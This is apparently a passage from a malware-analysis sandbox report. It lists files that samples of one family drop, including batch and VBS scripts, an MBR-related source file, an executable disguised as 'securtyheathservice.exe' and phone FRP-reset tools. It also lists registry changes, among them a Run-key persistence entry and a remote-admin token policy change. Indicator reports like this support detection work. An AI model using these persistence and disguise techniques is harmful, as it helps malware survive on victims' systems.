| c:\4561.tmp\bytebeat.wav | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\colora.cpp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\colora.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\glitchb.cpp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\glitchb.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\mbr.cpp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\mbr.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\screenshuffle.cpp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\screenshuffle.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\t.vbs | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\zoomlines.cpp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4561.tmp\zoomlines.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\473f.tmp\4740.tmp\4741.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4988.tmp\4999.tmp\499a.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4a12.tmp\4a13.tmp\4a24.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4ad5.tmp\4ad6.tmp\4ae6.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4b18.tmp\4b19.tmp\4b1a.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4b7f.tmp\4b80.tmp\4b81.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4c18.tmp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4c18.tmp | Generic Write,Read Attributes |
| c:\4c18.tmp\4c19.tmp\4c1a.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4c18.tmp\securtyheathservice.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4ca5.tmp\4cb5.tmp\4cb6.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\4cb3.tmp\4cb4.tmp\4cb5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5109.tmp\510a.tmp\511a.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\52b4.tmp\52b5.tmp\52b6.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\52d4.tmp\52e4.tmp\52e5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5499.tmp\54a9.tmp\54aa.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5506.tmp\5526.tmp\5527.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\55a2.tmp\55b3.tmp\55b4.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\55d1.tmp\55d2.tmp\55d3.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5804.tmp\5814.tmp\5815.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\584d.tmp\584e.tmp\584f.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5852.tmp\5863.tmp\5864.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\59bc.tmp\59bd.tmp\59be.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5a27.tmp\5a37.tmp\5a58.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5a34.tmp\5a35.tmp\5a45.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5af2.tmp\5b51.tmp\5b61.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\5f38.tmp\5f39.tmp\5f49.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\6105.tmp\6106.tmp\6107.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\618c.tmp\619c.tmp\619d.vbs | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\627.tmp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\627.tmp | Generic Write,Read Attributes |
| c:\627.tmp | Synchronize,Write Attributes |
| c:\627.tmp\628.tmp\629.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\627.tmp\esptool.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\627.tmp\esptool.exe | Synchronize,Write Attributes |
| c:\627.tmp\wifixv1.3.bin | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\627.tmp\wifixv1.3.bin | Synchronize,Write Attributes |
| c:\6722.tmp\6723.tmp\6724.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\67c3.tmp\67c4.tmp\67c5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\68a9.tmp\68aa.tmp\68ba.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\6e89.tmp\6e8a.tmp\6e8b.vbs | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\6f52.tmp\6f53.tmp\6f54.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\7446.tmp\7456.tmp\7457.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\79a.tmp\79b.tmp\79c.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\7bce.tmp\7bcf.tmp\7bd0.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\80a7.tmp\80a8.tmp\80a9.vbs | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\86e6.tmp\86e7.tmp\86f8.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\8f10.tmp\8f11.tmp\8f12.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\9563.tmp\9574.tmp\9575.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\97ab.tmp\97ac.tmp\97ad.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\99a4.tmp\99a5.tmp\99b6.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\9b65.tmp\9b76.tmp\9b77.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a2c3.tmp\a2c4.tmp\a2c5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a2f1.tmp\a302.tmp\a303.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a320.tmp\a321.tmp\a322.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a35f.tmp\a360.tmp\a361.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a3ad.tmp\a3ae.tmp\a3af.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a5b1.tmp\a5b2.tmp\a5b3.ps1 | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a60e.tmp\a60f.tmp\a610.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a64d.tmp\a64e.tmp\a64f.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a67c.tmp\a68c.tmp\a68d.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a68b.tmp\a68c.tmp\a68d.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6ab.tmp\a6ac.tmp\a6ad.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6ab.tmp\a6ac.tmp\a6bc.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6ba.tmp\a6bb.tmp\a6bc.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6ca.tmp\a6cb.tmp\a6cc.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6ca.tmp\a6cb.tmp\a6db.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6ca.tmp\a6da.tmp\a6db.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6d9.tmp\a6da.tmp\a6db.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6d9.tmp\a6da.tmp\a6eb.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a6f9.tmp\a6fa.tmp\a6fb.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a708.tmp\a709.tmp\a71a.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a708.tmp\a719.tmp\a71a.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a72.tmp\a82.tmp\a83.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a737.tmp\a738.tmp\a739.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a7b4.tmp\a7b5.tmp\a7b6.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a7d3.tmp\a7d4.tmp\a7d5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a7f3.tmp\a7f4.tmp\a7f5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\a831.tmp\a832.tmp\a833.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aa.tmp\ab.tmp\ac.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp | Generic Write,Read Attributes |
| c:\aae1.tmp\aae2.tmp\aaf2.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\a53-frp.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\a53-reset.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\boot.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\cecho\adb.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\cecho\adbwinapi.dll | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\cecho\adbwinusbapi.dll | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\cecho\chope.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\cecho\miadb.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\chope.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\emmcdl.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\frp-reno4.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\loader.elf | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\misc.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\prog_emmc_firehose_8937_ddr.mbn | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\prog_firehose_ddr_fwupdate.elf | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\reset-reno4.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\sahara.cmd | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\source.rar | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y11-frp.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y11-reset.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y11\emmcdl.exe | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y11\prog_emmc_firehose_8937_ddr.mbn | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y11\sahara.cmd | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y11\y11-frp.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y91-frp.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\aae1.tmp\source\y91-reset.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b11a.tmp\b12a.tmp\b12b.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b14d.tmp\b15d.tmp\b15e.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b253.tmp\b264.tmp\b265.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b701.tmp\b711.tmp\b712.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b710.tmp\b711.tmp\b712.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b7eb.tmp\b7ec.tmp\b7ed.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b81a.tmp\b81b.tmp\b82b.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b8a6.tmp\b8a7.tmp\b8b8.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\b90e.tmp\b90f.tmp\b910.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\ba28.tmp\ba38.tmp\ba39.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bb94.tmp\bb95.tmp\bb96.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bba4.tmp\bbb5.tmp\bbb6.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bbb4.tmp\bbb5.tmp\bbb6.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bbb4.tmp\bbc4.tmp\bbc5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bbd3.tmp\bbd4.tmp\bbd5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bc11.tmp\bc12.tmp\bc13.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bc60.tmp\bc61.tmp\bc62.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bef0.tmp\bf00.tmp\bf01.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bfd2.tmp\bfd3.tmp\bfd4.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\bfe2.tmp\bfe3.tmp\bff3.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c028.tmp\c029.tmp\c02a.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c0a3.tmp\c0a4.tmp\c0a5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c102.tmp\c103.tmp\c104.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c1af.tmp\c1b0.tmp\c1b1.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c1df.tmp\c1f0.tmp\c1f1.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c2df.tmp\c2e0.tmp\c2f1.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c327.tmp\c328.tmp\c329.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c7e7.tmp\c7e8.tmp\c7e9.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\c9e3.tmp\c9e4.tmp\c9e5.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\cdc5.tmp\cdc6.tmp\cdc7.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\ce84.tmp\ce94.tmp\ce95.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\d0f3.tmp\d104.tmp\d105.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\d937.tmp\d938.tmp\d939.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\db10.tmp\db21.tmp\db22.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\db9c.tmp\db9d.tmp\db9e.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\df44.tmp\df45.tmp\df55.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\e447.tmp\e448.tmp\e449.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\e834.tmp\e835.tmp\e836.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\ea7.tmp\eb8.tmp\eb9.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\eaed.tmp\eaee.tmp\eaef.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\ec4b.tmp\ec4c.tmp\ec5d.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\efdb.tmp\efdc.tmp\efed.bat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
546 additional files are not displayed above.
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Dados | API Name |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 之Ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 䀬شǛ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 昏ἚǛ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ሡᒢǛ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 噮ꃧǛ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 傄媝Ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 蒒怒Ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 䖛莐Ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 菍Ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 滀Ǜ | RegNtPreCreateKey |
Show More
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 橖Ǜ | RegNtPreCreateKey |
| HKLM\software\wow6432node\microsoft\windows\currentversion\runonce::wextract_cleanup0 | rundll32.exe C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Gkyzesen\AppData\Local\Temp\IXP000.TMP\" | RegNtPreCreateKey |
| HKLM\software\wow6432node\microsoft\windows\currentversion\runonce::wextract_cleanup1 | rundll32.exe C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Gkyzesen\AppData\Local\Temp\IXP001.TMP\" | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 帪⅍ﳖǛ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ᬖ杯؋ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\stornvme\parameters::stornvmeallowzerolatency | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\stornvme\parameters::queuedepth | @ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\stornvme\parameters::nvmemaxreadsplit | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\stornvme\parameters::nvmemaxwritesplit | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\stornvme\parameters::forceflush | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\stornvme\parameters::immediatedata | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\stornvme\parameters::maxsegmentspercommand | Ā | RegNtPreCreateKey |
| HKLM\system\controlset001\services\stornvme\parameters::maxoutstandingcmds | Ā | RegNtPreCreateKey |
| HKLM\system\controlset001\services\stornvme\parameters::forceeagerwrites | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\stornvme\parameters::maxqueuedcommands | Ā | RegNtPreCreateKey |
| HKLM\system\controlset001\services\stornvme\parameters::maxoutstandingiorequests | Ā | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows\currentversion\policies\system::localaccounttokenfilterpolicy | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 瑃顃ݱǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ᮢ⠾ࠩǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 뜐餂ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 浌ଦǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | Ａୣǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 觸㻂ᛵǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 瑍㻎ᛵǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\run::sejkksuhf9398soidfh8 | c:\4C18.tmp\securtyheathservice.exe | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 謏ᗌᡤǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 턞蜧ᣴǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | I个☥ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 㾵띇♆ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 㦍楔♓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\explorer.exe | 鲫榜♓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 韽鰨⛋ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ꔽ恟⛕ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 䫴⛵ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\explorer\userassist\{cebff5cd-ace2-4f4f-9178-9926f41749ea}\count::zvpebfbsg.jvaqbjf.rkcybere | ' Ł 噺Ä 뾀 뾀 뾀 뾀 뾀 뾀 뾀 뾀 뾀 뾀鈠ꢌ⛵ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer\userassist\{cebff5cd-ace2-4f4f-9178-9926f41749ea}\count::hrzr_pgyfrffvba | Ǫ ۏ 欗 Microsoft.XboxGamingOverlay_8wekyb3d8bbwe!App | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ɡ찹⥅ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ส鍊⧳ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 賫闷⧳ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ⺟ݾ⭡ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 쳳㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 粴촰㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 鐆춂㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 큮춰㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ℃칅㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 칫㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 캒㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 띆켌㊙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 퍛㏚ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
